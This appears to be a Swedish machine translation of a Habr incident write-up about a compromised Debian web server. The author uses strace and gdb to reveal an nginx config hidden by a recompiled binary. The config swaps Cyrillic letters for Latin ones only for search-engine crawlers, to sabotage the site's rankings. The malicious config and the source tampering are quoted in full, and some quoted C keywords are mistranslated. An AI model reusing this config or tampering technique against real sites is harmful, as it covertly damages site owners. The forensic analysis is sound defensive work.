NÀr 'a' inte Àr lika med 'a'. SpÄren av en hackning

En mycket otrevlig hÀndelse intrÀffade med en av mina bekanta. Men sÄ otrevlig som den var för Mikhail, sÄ underhÄllande blev den för mig.

Jag mÄste sÀga att min vÀn Àr helt okej. UNIX-anvÀndare: kan sjÀlv installera systemet, stÀlla in mysql, php och göra de enklaste instÀllningarna. nginx.
Han har ett tiotal hemsidor som handlar om byggverktyg.

En av dessa hemsidor, som handlar om motorsÄgar, sitter stadigt i toppen av sökmotorerna. Denna hemsida Àr en icke-kommersiell recension, men nÄgon tycker uppenbarligen att den Àr ett problem och har börjat attackera den. Ibland DDoS, ibland bruteforce, ibland skriver de olÀmpliga kommentarer och skickar klagomÄl till hostingtjÀnsten och till RKN.
Plötsligt blev allt tyst och denna tystnad visade sig inte vara nÄgot gott, eftersom hemsidan började försvinna gradvis frÄn toppositionerna i resultaten.

NÀr 'a' inte Àr lika med 'а'. SpÄren av en hackning

Detta var en inledning, nu till sjÀlva berÀttelsen frÄn administratören.

Tiden nÀrmade sig sÀnggÄende nÀr telefonen ringde: "San, kan du ta en titt pÄ min server? Jag tror att jag har blivit hackad, jag kan inte bevisa det, men jag har haft en kÀnsla av det i tre veckor nu. Kanske Àr det dags att jag behandlar min paranoia?"

Vi hade ett halvtimmes samtal som kort kan sammanfattas sÄ hÀr:

  • jordmĂ„nen för en hackning var ganska bördig;
  • hackaren skulle kunna fĂ„ superanvĂ€ndarrĂ€ttigheter;
  • attacken (om den Ă€gde rum) var riktad just mot denna hemsida;
  • problemomrĂ„den har Ă„tgĂ€rdats och det behövs bara förstĂ„ om det verkligen har skett ett intrĂ„ng;
  • hackningen kunde inte pĂ„verka hemsidans kod eller databaser.

AngÄende den sista punkten.

NÀr 'a' inte Àr lika med 'а'. SpÄren av en hackning

Endast den vita IP:n frÄn fronten Àr synlig. Mellan backend och front finns det ingen kommunikation förutom http(s), anvÀndare/lösenord Àr olika, de har inte delat nycklar. PÄ de grÄ adresserna Àr alla portar förutom 80/443 stÀngda. De vita IP:n för backend Àr kÀnda endast av tvÄ anvÀndare som Mikhail helt litar pÄ.

PÄ fronten Àr Debian 9 och vid tidpunkten för samtalet Àr systemet isolerat frÄn vÀrlden med en extern brandvÀgg och avstÀngt.

"Okej, ge mig tillgÄng, jag bestÀmmer mig för att skjuta upp sömnen en timme. Jag ska titta med mina egna ögon."

HĂ€r och vidare:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

I jakten pÄ en möjlig hackning

startar jag servern, först i rescue-mode. Monterar diskar, blÀddrar igenom auth-loggar, history, systemloggar och sÄ vidare, kontrollerar jag i möjligaste mÄn skapelsedatum för filer, Àven om jag förstÄr att en riktig hackare skulle ha "stÀdat" efter sig, och Misha har redan trampat runt en del medan han sjÀlv letade.

Jag startar i normalt lÀge, utan att direkt förstÄ vad jag ska leta efter, jag studerar konfigurationerna. Först och frÀmst Àr jag intresserad av nginx eftersom det, i stort sett, inte finns nÄgot annat pÄ frontend.
Konfigurationerna Ă€r smĂ„, vĂ€lstrukturerade i ett tiotal filer, jag gĂ„r igenom dem helt enkelt cat’en efter en. Det verkar vara rent, men man vet aldrig om jag missat nĂ„got include, jag gör en fullstĂ€ndig upprĂ€kning:

$ nginx -T
nginx: konfigurationsfilen /usr/local/etc/nginx/nginx.conf har korrekt syntax
nginx: konfigurationsfilen /usr/local/etc/nginx/nginx.conf testet lyckades

Jag förstod inte: "Var Àr upprÀkningen?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI-stöd aktiverat
konfigurationsargument: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Till frÄgan om upprÀkningen lÀggs det till en annan: "Varför sÄ gammal version av nginx?"

Dessutom anser systemet att versionen Àr mer aktuell:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          liten, kraftfull, skalbar webb/proxy server

Jag ringer:
— Misha, varför har du omkompilerat nginx?
— Sluta nu, jag vet till och med inte hur man gör det!
— Ok, tja, sov dÄ 

Nginx uppenbarligen omkompilerad och output frÄn upprÀkningen med "-T" döljs inte utan anledning. Ingen tvekan om ett intrÄng lÀngre, och detta kan bara accepteras, och (eftersom Misha ÀndÄ bytte server till en ny) betrakta problemet som löst.

Och verkligen, om nÄgon har fÄtt rÀttigheter rootdÄ Àr det meningsfullt att bara system reinstall, och att leta efter vad som har gÄtt fel Àr meningslöst, men den hÀr gÄngen segrade nyfikenheten över sömnen. Hur ska jag ta reda pÄ vad de ville dölja för oss?

Vi ska försöka spÄra:

$ strace nginx -T

Vi granskar, i spÄrningen saknas tydligt rader som

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Av ren nyfikenhet jÀmför vi outputen

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Jag tror att en del av koden /src/core/nginx.c

            fall 't':
                ngx_test_config = 1;
                bryt;

            fall 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                bryt;

har omvandlats till:

            fall 't':
                ngx_test_config = 1;
                bryt;

            fall 'T':
                ngx_test_config = 1;
                \/\/ngx_dump_config = 1;
                bryt;

eller

            fall 't':
                ngx_test_config = 1;
                bryt;

            fall 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                bryt;

dÀrför visas inte listan för «-T».

Men hur kan vi se vÄr konfiguration?

Om min tanke Ă€r korrekt och problemet bara rör variabeln ngx_dump_config ska vi försöka stĂ€lla in den med hjĂ€lp av gdb, lyckligtvis finns nyckeln --with-cc-opt -g och vi hoppas att optimeringen -O2 inte kommer att skada. Med tanke pĂ„ att jag inte vet hur ngx_dump_config kan ha bearbetats i fall ‘T’:, ska vi inte kalla pĂ„ detta block, utan sĂ€tta den anvĂ€nda fall ‘t’:

Varför kan vi anvĂ€nda ‘-t’ pĂ„ samma sĂ€tt som ‘-T’?Behandlingen av blocket if(ngx_dump_config) sker inuti if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "konfigurationsfil %s testet Àr framgÄngsrikt",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# konfigurationsfil ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

SjĂ€lvklart, om koden har Ă€ndrats i denna del, och inte i fall ‘T’:, sĂ„ passar inte min metod.

Test nginx.confEfter att ha löst problemet praktiskt har det konstaterats att det minimi konfiguration krÀvs för att skadlig kod ska fungera nginx av:

events {
}

http {
	include \/etc\/nginx\/sites-enabled\/*;
}

Det kommer vi att anvÀnda för korthet i artikeln.

Vi startar felsökaren

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Steg för steg:

  • sĂ€tter en brytpunkt i funktionen main()
  • startar programmet
  • Ă€ndrar vĂ€rdet pĂ„ variabeln som bestĂ€mmer konfigurationsutskriften ngx_dump_config=1
  • fortsĂ€tter/avslutar programmet

Som vi ser skiljer sig den verkliga konfigurationen frÄn vÄr, vi extraherar det parasitiska avsnittet:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

LÄt oss titta pÄ vad som hÀnder hÀr i ordning.

Definieras User-Agent’y’ yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Exkluderas tjÀnstesidor wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Och för dem som omfattas av bÄda ovanstÄende villkor

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

i texten html-sidan Ă€ndras â€™ĐŸâ€™ till ’o’ och ’а’ till ’a’:

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

Precis sĂ„, det enda Ă€r att ’а’ != ’a’ liksom â€™ĐŸâ€™ != ’o’:

NÀr 'a' inte Àr lika med 'а'. SpÄren av en hackning

PĂ„ sĂ„ sĂ€tt fĂ„r sökmotorns robotar istĂ€llet för en normal 100%-ig kyrillisk text modifierad skrĂ€p blandat med latinska ’a’ och ’o’. Jag kan inte spekulera i hur detta pĂ„verkar SEO, men tveksamt att en sĂ„dan bokstavsmix positivt skulle pĂ„verka placeringarna i resultatlistorna.

Vad ska man sÀga, killar med fantasi.

LĂ€nkar

Debugging med GDB
gdb(1) — Linux manuell sida
strace(1) — Linux manuell sida
Nginx — Modul ngx_http_sub_module
Om sÄgar, motorsÄgar och elektriska sÄgar

KĂ€lla: habr.com

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster